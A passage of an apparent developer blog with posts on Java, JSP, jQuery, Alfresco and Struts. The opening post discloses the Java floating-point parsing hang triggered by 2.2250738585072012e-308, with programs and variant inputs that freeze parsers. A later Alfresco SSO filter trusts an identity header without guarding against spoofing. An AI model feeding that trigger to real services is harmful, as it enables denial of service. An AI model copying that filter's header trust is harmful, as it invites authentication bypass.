Java — both its runtime and compiler — go into an infinite loop when converting the decimal number 2.2250738585072012e-308 to double-precision binary floating-point. This number is supposed to convert to 0x1p-1022, which is DBL_MIN; instead, Java gets stuck, oscillating between 0x1p-1022 and 0x0.fffffffffffffp-1022, the largest subnormal double-precision floating-point number.


Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):
class ujjwal{
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:
class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

Where’s the Problem?

For the runtime case at least, Konstantin has narrowed the problem down to the “correction loop” in FloatingDecimal.java. See his comments on my PHP bug analysis article.
Like PHP, Java gets stuck crossing the normalized/unnormalized border, but in the opposite direction: it starts with an estimate just below DBL_MIN — 0x0.fffffffffffffp-1022 — and is trying to get up to DBL_MIN. but with a twist: it starts with an estimate that is correct — DBL_MIN — and then adjusts it to 0x0.fffffffffffffp-1022. It then adjusts that back to DBL_MIN, and around it goes…

Bug Report

Konstantin reported this problem to Oracle three weeks ago, but is still waiting for a reply. (Update: as per Konstantin’s comment below, the bug has been assigned “internal review ID of 1949967, which is NOT visible on the Sun Developer Network (SDN)”.)

Update: Previous Bug Reports Describe the Same Problem

Readers found two bug reports that describe the same problem (although not in terms of the magic number 2.2250738585072012e-308): bug number 100119 from 2009, and bug number 4421494 from 2001. (But don’t bother clicking on that last one — the link is now dead, as of 2/3/11.)

Addendum

As pointed out in the comments below, equivalent forms of the number cause the problem as well; examples:
  • 0.00022250738585072012e-304 (decimal point placement)
  • 00000000002.2250738585072012e-308 (leading zeros)
  • 2.225073858507201200000e-308 (trailing zeros)
  • 2.2250738585072012e-00308 (leading zeros in the exponent)
  • 2.2250738585072012997800001e-308 (superfluous digits beyond digit 17)

Wednesday, June 1, 2011

Fitting website on Apple IPad

Hi,

Recently, we had to release an IPad version of one of our websites, an existing website needed to be converted to display on an IPad. I had a major issue when some one rendered the site from landscape to portrait and from portrait to landscape on an ipad, the site does not get auto fitted.

To overcome this issue, i had to set view port in meta tag on all my jsp pages.

I did something like this ::


<meta name="viewport" content="width=800" />


Now it renders site correctly on an ipad.. :)

Cheers,

Ujjwal Soni



Autofit textarea with dynamic text on load


Hi,

I wanted to autofit textarea rows which contained dynamic text from database on page load. I tried many plugins and other javascript tweaks. Atlast, i found a jquery plugin for this.

I did this as under::

Step 1 :: Add autogrow text area js file




<script src="<%=request.getContextPath()%>/script/jquery.autogrowtextarea.js">
</script>


Step 2 :: Call Text Area Exploder Function on page load


    $(document).ready(function() {
        $(&quot;#textAreaDescription&quot;).TextAreaExpander(); 
    
    }); 

You can download the js file from below link ::

https://sites.google.com/site/ujjwalbsoni/Home/jquery.autogrowtextarea.js

If you have any further queries, please let me know..

Cheers,

Ujjwal Soni




Thursday, May 26, 2011

The dynamic stylesheet language

Hi,

Recently i was searching for compacting heavy css for my website in less css with dynamic css code, i came across lesscss.org, it's a fabulous website which provides dynamic integration of css.

"LESS extends CSS with dynamic behavior such as variables, mixins, operations and functions. LESS runs on both the client-side (IE 6+, Webkit, Firefox) and server-side, with Node.js."

http://lesscss.org/

Cheers,

Ujjwal Soni

Wednesday, May 11, 2011

Redirect all 404's to index page in php

This given PHP example redirect to index page if there is 404 error in your site.



Create the file app/app_error.php with the following code.

Code Example:


class AppError extends ErrorHandler {
    function error404($params) {
        // redirect to homepage
        $this->controller->redirect('/');
    }
}

 


Friday, April 29, 2011

Oracle SSO configuration with Alfresco

Hi,

I finally configured Oracle SSO with Alfresco. Below is how i achieved that.

I need to run Alfresco on tomcat deployed on other virtual terminal, i created a class file as under

-> STEP 1

package my.custom;

import java.io.IOException; 
import java.util.List;
import java.util.Locale;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.transaction.UserTransaction;

import org.alfresco.model.ContentModel;
import org.alfresco.repo.security.authentication.AuthenticationComponent;
import org.alfresco.repo.security.authentication.AuthenticationException;
import org.alfresco.service.ServiceRegistry;
import org.alfresco.service.cmr.repository.NodeRef;
import org.alfresco.service.cmr.repository.NodeService;
import org.alfresco.service.cmr.security.AuthenticationService;
import org.alfresco.service.cmr.security.PersonService;
import org.alfresco.service.transaction.TransactionService;
import org.alfresco.web.app.Application;
import org.alfresco.web.app.servlet.AbstractAuthenticationFilter;
import org.alfresco.web.app.servlet.AuthenticationHelper;
import org.alfresco.web.bean.LoginBean;
import org.alfresco.web.bean.repository.User;
import org.alfresco.web.config.LanguagesConfigElement;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.extensions.config.ConfigService;
import org.springframework.extensions.surf.util.I18NUtil;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.alfresco.web.bean.repository.Repository;



public class OSSOAuthenticationFilter extends AbstractAuthenticationFilter implements Filter {
private static final String LOCALE = "locale";
public static final String MESSAGE_BUNDLE = "alfresco.messages.webclient";
private static Log logger = LogFactory.getLog(OSSOAuthenticationFilter.class);
private ServletContext context;
private String loginPage;
private AuthenticationComponent authComponent;
private AuthenticationService authService;
private TransactionService transactionService;
private PersonService personService;
private NodeService nodeService;
private List m_languages;

public OSSOAuthenticationFilter() {
super();
}

public void destroy() {
// Nothing to do
}

/**
* Run the filter
*
* @param sreq
* ServletRequest
* @param sresp
* ServletResponse
* @param chain
* FilterChain
* @exception IOException
* @exception ServletException
*/
public void doFilter(ServletRequest sreq, ServletResponse sresp, FilterChain chain) throws IOException, ServletException {
// Get the HTTP request/response/session
HttpServletRequest req = (HttpServletRequest) sreq;
HttpServletResponse resp = (HttpServletResponse) sresp;
HttpSession httpSess = req.getSession(true);

String userName = null;
//Get headers setted by the oracle sigle sign one server
java.util.Enumeration reqMap = req.getHeaders("Osso-User-Dn");

if (reqMap == null) {
logger.error("No user logged in");
} else {
while (reqMap.hasMoreElements()){
//Get from the full dn the username
userName = ((String)reqMap.nextElement()).split(",")[0].trim().toString().split("=")[1].trim().toString();
//String tmp = value.split(",")[0].trim().toString();
//userName = tmp.split("=")[1].trim().toString();
}
}

if (logger.isDebugEnabled()) {
logger.debug("OSSO : User = " + userName);
}

// See if there is a user in the session and test if it matches
User user = (User) httpSess.getAttribute(AuthenticationHelper.AUTHENTICATION_USER);

if (user != null) {
try {
// Debug
if (logger.isDebugEnabled())
logger.debug("OSSO : User " + user.getUserName() + " validate ticket");

if (user.getUserName().equals(userName)) {
UserTransaction tx1 = transactionService.getUserTransaction();
try {
tx1.begin();
authComponent.setCurrentUser(user.getUserName());
tx1.commit();
}catch(Exception ex){
logger.error("Failed due to transaction " + ex);
try {
tx1.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}

}
I18NUtil.setLocale(Application.getLanguage(httpSess));
chain.doFilter(sreq, sresp);
return;
} else {
// No match
//setAuthenticatedUser(req, httpSess, userName);
//below url is th oracle portal url
resp.sendRedirect("http://hostname:7778/alfresco");
return;
}
} catch (AuthenticationException ex) {
if (logger.isErrorEnabled())
logger.error("Failed to validate user " + user.getUserName(), ex);
}
}

setAuthenticatedUser(req, httpSess, userName);

// Redirect the login page as it is never seen as we always login by name
if (req.getRequestURI().endsWith(getLoginPage()) == true)
{
if (logger.isDebugEnabled())
logger.debug("Login page requested, chaining ...");

resp.sendRedirect(req.getContextPath() + "/faces/jsp/browse/browse.jsp");
return;
}
else
{
//below url is th oracle portal url
resp.sendRedirect("http://hostname:7778/alfresco");
//chain.doFilter(sreq, sresp);
return;
}

}

/**
* Set the authenticated user.
*
* It does not check that the user exists at the moment.
*
* @param req
* @param httpSess
* @param userName
*/
private void setAuthenticatedUser(HttpServletRequest req, HttpSession httpSess, String userName) {
if (userName != null){
UserTransaction tx1 = transactionService.getUserTransaction();
// Set the authentication
try {
tx1.begin();
authComponent.setCurrentUser(userName);
tx1.commit();
} catch (Throwable ex) {
logger.error(ex);
try {
tx1.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}
}

// Set up the user information
UserTransaction tx = transactionService.getUserTransaction();
NodeRef homeSpaceRef = null;
User user;
try {
tx.begin();
user = new User(userName, authService.getCurrentTicket(), personService.getPerson(userName));
homeSpaceRef = (NodeRef) nodeService.getProperty(personService.getPerson(userName), ContentModel.PROP_HOMEFOLDER);
if(homeSpaceRef == null) {
logger.warn("Home Folder is null for user '"+userName+"', using company_home.");
homeSpaceRef = (NodeRef) nodeService.getRootNode(Repository.getStoreRef());
}
user.setHomeSpaceId(homeSpaceRef.getId());
tx.commit();
} catch (Throwable ex) {
logger.error(ex);

try {
tx.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}

if (ex instanceof RuntimeException) {
throw (RuntimeException) ex;
} else {
throw new RuntimeException("Failed to set authenticated user", ex);
}
}

// Store the user
httpSess.setAttribute(AuthenticationHelper.AUTHENTICATION_USER, user);
httpSess.setAttribute(LoginBean.LOGIN_EXTERNAL_AUTH, Boolean.TRUE);

// Set the current locale from the Accept-Lanaguage header if available
Locale userLocale = parseAcceptLanguageHeader(req, m_languages);

if (userLocale != null) {
httpSess.setAttribute(LOCALE, userLocale);
httpSess.removeAttribute(MESSAGE_BUNDLE);
}

// Set the locale using the session
I18NUtil.setLocale(Application.getLanguage(httpSess));
}
}

public void init(FilterConfig config) throws ServletException {
this.context = config.getServletContext();
WebApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);
ServiceRegistry serviceRegistry = (ServiceRegistry) ctx.getBean(ServiceRegistry.SERVICE_REGISTRY);
transactionService = serviceRegistry.getTransactionService();
nodeService = serviceRegistry.getNodeService();

authComponent = (AuthenticationComponent) ctx.getBean("authenticationComponent");
authService = (AuthenticationService) ctx.getBean("authenticationService");
personService = (PersonService) ctx.getBean("personService");

// Get a list of the available locales
ConfigService configServiceService = (ConfigService) ctx.getBean("webClientConfigService");
LanguagesConfigElement configElement = (LanguagesConfigElement) configServiceService.getConfig("Languages").getConfigElement(LanguagesConfigElement.CONFIG_ELEMENT_ID);

m_languages = configElement.getLanguages();
}

/**
* Return the login page address
*
* @return String
*/
private String getLoginPage() {
if (loginPage == null) {
loginPage = Application.getLoginPage(context);
}

return loginPage;
}
}



-> STEP 2 Place this class file under
C:\Alfresco\tomcat\webapps\alfresco\WEB-INF\classes\my\custom

-> STEP 3 Now you need to configure proxy pass in oc4j's httpd.conf file


$ORACLE_HOME/Apache/Apache/conf/httpd.conf, add the following entries:                                                                                    ProxyPass /alfresco/ http://host:8080/alfresco/

ProxyPass /alfresco http://host:8080/alfresco/


ProxyPassReverse /alfresco/ http://host:8080/alfresco/

ProxyPassReverse /alfresco http://host:8080/alfresco/


-> STEP 4 Now you need to enable sso on oracle portal

edit $ORACLE_HOME/Apache/Apache/conf/mod_osso.conf, add the following lines just before the :

require valid-user
AuthType Basic


require valid-user
AuthType Basic


Please restart apache after you have made this configuration

-> STEP 5 If alfresco is already running then stop and start alfresco service from start menu under start -> alfresco -> stop alfreco virtual server

Thats it, now oracle sso is configured successfully for Alfreco

Try opening http://oc4jserverhost/alfresco, it will redirect to oracle portal sso login page, enter credentials, it will then redirect you to alfresco home page on successful login.

LOGOUT Link

Coming towards logout functionality, i need to make some changes to use oracle portal logout instead of alfresco built in logout.

You need to edit file C:\Alfresco\tomcat\webapps\alfresco\jsp\parts\titlebar.jsp


search for
a:actionLink


now replace that line with
a:actionLink id="logout" image="/images/icons/logout.gif" value="#{msg.logout} (#{NavigationBean.currentUser.userName})" rendered="#{!NavigationBean.isGuest}" href="http://hostname/pls/orasso/orasso.wwsso_app_admin.ls_logout?p_done_url=http%3A%2F%2Fhostname%2Falfresco" immediate="true"


Thats it, now logout functionality is integrated with oracle sso.

Any issues implementing this, feel free to contact me..

Cheers,

Ujjwal Soni

Tuesday, April 26, 2011

A nice book on smaller, faster, better way to build software

Last week, my friend sent me a link which contains great amount of information for building, testing and all other phases for software development.

Check out this link :: http://gettingreal.37signals.com/toc.php

Cheers,

Ujjwal Soni

Tuesday, March 15, 2011

Jquery Autocomplete with DataSource

Hi All,

Recently i needed an autocomplete textbox in which i need to store an ID and display a list. So, i gone for Jquery autocomplete which i was very used to. I have used this before but it was just for single list where i was not storing any ID. I tried my hands on with JSON using Jquery autocomplete but it was not giving me results the way i wanted.

So, finally, i found a solution as mentioned below ::

1) A textbox for autocomplete


<input type="text" id="input" name="input"/>


2) An onload script


function loadData(){
$("#input").autocomplete('<%=request.getContextPath()%>/showMyCity.do' , {
        extraParams: { locationName : function() { 
        return document.getElementById('input').value; 
            }
         },
        minChars: 0,
        width: 185,
        matchContains: "word",
        autoFill: false,
        max:50,
        formatItem:function(row) {
            return row[0];
        },
        formatResult: function(row) {
            return row[0];
        }
    });
    
    
    $("#input").result(function(event, data, formatted) {
        if (data)
            document.getElementById("selectedLocation").value=data[1];
            
            
    });

}



3) Jsp page which results your search :


<c:forEach items="${LOCATION_LIST}" var="bean">

<c:out value="${bean.description}"/>|<c:out value="${bean.code}"/>
</c:forEach>




With a pipe character added in between, you can hide/show text on autocomplete.

This resoved my issue and i need not  have to use JSON for that.

Cheers,

Ujjwal Soni

UBS



Monday, March 14, 2011

URL rewriting for multi country website like /countryname/cityname


Hello Everyone,


Recently, i had to develop a website which needed a different URL mapping, it needed a url mapping like /France/Paris (ie: country/city).I looked out for many options, first of all i tried it with url rewriting servlet and implemented a filter with it, but it was not exactly the thing i wanted. So i looked out for other options and finally i found UrlRewriteFilter from tuckey.


I downloaded the jars from www.tuckey.org/urlrewrite and configured that in web.xml file.


I found its configuration too easy, you need to configure that in web.xml under filter tag.
<filter>
     <filter-name>UrlRewriteFilter</filter-name>
     <filter-class>org.tuckey.web.filters.urlrewrite.UrlRewriteFilter</filter-class>
  </filter>
 
  <filter-mapping>
    <filter-name>UrlRewriteFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>


Secondly, there is a seperate xml file called urlrewrite.xml that is needed by this filter.

You need to configure url rewriting rules in there. You can also use expression language to define a rule for your URL type.


So, i did someting like this to achieve my goal.

 <rule>
     <from>^/([a-z\s-] )$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1</to>
    </rule>
   
    <rule>
     <from>^/([a-z\s-] )/$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1</to>
    </rule>
   
    <rule>
     <from>^/([a-z/\s/-] )/([a-z/\s/-] )$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1&amp;city=$2</to>
    </rule>
      
    <rule>
     <from>^/([a-z/\s/-] )/([a-z/\s/-] )/$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1&amp;city=$2</to>
    </rule>


The above configuration helped me to accept multi spaced url's like www.ujjwalbsoni.blogspot.com/United States Of America/New York



I created an action in struts that gets me the names of countries and cities accordingly and i finally got what i wanted.


Expression for redirect rule was really tedious since i was having multiple spaces in country/city names. But finally, i created and succeeded in making one and using that.




Cheers!!!


Ujjwal Soni


UBS


Thursday, March 3, 2011

A great new java framework playframework

Hi,




Today, my friend told me about a new emerging java framework, its known as Play Framework.

Its new and really awesome...Its not a game framework, but its like an MVC framework, a bit simpler one.

Check out this link http://www.playframework.org/documentation/1.1.1/5things

Cheers!!!

Ujjwal Soni












Generating xlsx excel 2007 files using jdk 1.4

Hi,

i need to generate excel 2007 reports in java, well, i had many options to do this like Jexcel, apache poi, Aspose...but this list got smaller since i had to do this in jdk 1.4,  since i had to do this in older jdk, i chose apache poi, but apache poi supports generating xlsx only on jdk 1.6, some blogs says that if we backport then poi can work on older jdk's, so i tried backporting it and converted jars in jdk 1.4, all was done and it worked for generating xls files, but when i changed it for xlsx using XHSSF class, it started throwing errors, i did lot of research but at the end, all was in vain. later on i read somewhere that apache poi backporting leads to serious memory issues on jdk 1.4, so i had gone for Jexcel, well jexcel needs a license and i gotaa use open source so i winded up this idea.

Finally, i had chosen Apache POI with Jdk 1.6 and its working great.

Cheers!!

Ujjwal

Tuesday, January 25, 2011

Backporting Struts 2 to JDK1.4 or JDK 1.3

Struts 2 framework and its dependencies available currently are compiled using JDK 1.5 and if you want to use same framework on JDK1.4 then you will require to backport these jars. Struts 2 framework core jars and its plugin jars can be translated to JDK 1.4 or 1.3 using Retrotranslator utility.

Retrotranslator is a open source project which does this translation.

You can read more about this on http://retrotranslator.sourceforge.net/

Here are the steps to create the backport jars for JDK 1.4 or JDK 1.3

1. Download Struts 2 - Alternative Java 4 JARs: from http://struts.apache.org.
This also contains the retrotanslator jar files

2. Unzip the downloaded file, this should create backport folder containing core jars, and retrotranslation jar files.

3. Now copy all your Struts 2 Jars (including dependancies) to a folder say (Struts2-1.5)

4. Create another folder for converted jar files say (Struts2-1.4)

5. Run below command for each jar in the Struts2-1.5 folder

java -jar retrotranslator-transformer-.jar -advanced -srcjar Struts2-1.5/struts2--.jar -destjar ./Struts2-1.4/struts2--.jar



Note: Replace the & tokens with appropriate jar values.
Here are commands for struts 2.0.11.2 backporting

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-core-2.0.11.2.jar -destjar Struts2-1.4/struts2-core-j4-2.0.11.2.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/xwork-2.0.5.jar -destjar Struts2-1.4/xwork-j4-2.0.5.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-codebehind.jar -destjar ./Struts2-1.4/struts2-codebehind.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-core.jar -destjar ./Struts2-1.4/struts2-core-1.4.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-spring.jar -destjar ./Struts2-1.4/struts2-spring.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-pell.jar -destjar ./Struts2-1.4/struts2-pell.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-plexus.jar -destjar ./Struts2-1.4/struts2-plexus.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-struts1.jar -destjar ./Struts2-1.4/struts2-struts1.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-jsf.jar -destjar ./Struts2-1.4/struts2-jsf.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-sitegraph.jar -destjar ./Struts2-1.4/struts2-sitegraph.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-sitemesh.jar -destjar ./Struts2-1.4/struts2-sitemesh.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-tiles.jar -destjar ./Struts2-1.4/struts2-tiles.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-config-browser.jar -destjar ./Struts2-1.4/struts2-config-browser.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/xwork-2.0.5.jar -destjar ./Struts2-1.4/xwork-2.0.5.jar


6. This should create all your jars which are required for JDK 1.4.

7. Make sure you delete all JDK 1.5 compiled jars from your application lib and replace it with translated jars for JDK 1.4. Keeping both may create unknown issues.


Retrotranslator is not limited to backporting the Struts 2 framework. Its a utility which can be utilized for backporting any JDK 1.5 compiled code to JDK 1.4.

Cheers,

Ujjwal Soni

Monday, January 24, 2011

java.sql.SQLException: Data size bigger than max size for this type

Hi All,

Last week i was facing an issue on inserting Blob data in Oracle 10g database. I tested my application on Jboss container and locally my application was running fine, the real problem i faced when i deployed it on Oc4J container.

I got this error ::: java.sql.SQLException: Data size bigger than max size for this type

I tried everything, even i upgraded my jdbc driver but the problem was still there.


Here is my problem code ::



CallableStatement cstmt =
dbConnection.prepareCall("{

call product_image(?,?,?)}");


cstmt.setInt(1, id);
cstmt.setBinaryStream(2,file.getInputStream(), (int) file.getFileSize());
cstmt.setString(3, companyCode);

cstmt.registerOutParameter(1, oracle.jdbc.driver.OracleTypes.INTEGER);

cstmt.execute();
int returnValue=cstmt.getInt(1);

I am using Jdk 1.4 and even my OC4J server is having jdk 1.4

 I temporarily resolved the issue using simple update statements using prepared statement and inserted blob in  my DB, but i wanted that via a procedure.

 Later, i tried below code and it worked fine ::


String sql = "{call TEST_INSERT_USER_REG(?)}";
cstmt = conn.prepareCall(sql);
cstmt.setBytes(1, Your BLOB data in Bytes);
cstmt.close();
 


Cheers,

Ujjwal Soni








Clearing form data using jquery

A question I often hear is, “How do I clear a form?”
Initially the answer seems very straightforward – a one-liner in jQuery:

$('form :input').val("");
 
But upon closer examination we find that this is a bad way to solve the problem. When someone says they want to “clear a form” what they really mean is that they want to clear the visible state from all the form fields. With this in mind, the code above is clearly not the right way to get the job done. First, it will blast away the values of hidden inputs, checkboxes and radio buttons. Not good. The values of those fields should not be altered. And second, it does not properly account for select elements. What we need is something smarter. Here’s a start:
 
  1. $.fn.clearForm = function() {
  2.   return this.each(function() {
  3.     var type = this.type, tag = this.tagName.toLowerCase();
  4.     if (tag == 'form')
  5.       return $(':input',this).clearForm();
  6.     if (type == 'text' || type == 'password' || tag == 'textarea')
  7.       this.value = '';
  8.     else if (type == 'checkbox' || type == 'radio')
  9.       this.checked = false;
  10.     else if (tag == 'select')
  11.       this.selectedIndex = -1;
  12.   });
  13. };
 
Voila! Now we have a plugin for clearing form fields that can be called like this:
 
$(':input').clearForm()
 
or
 
$('form').clearForm()
 
Cheers,
 
Ujjwal Soni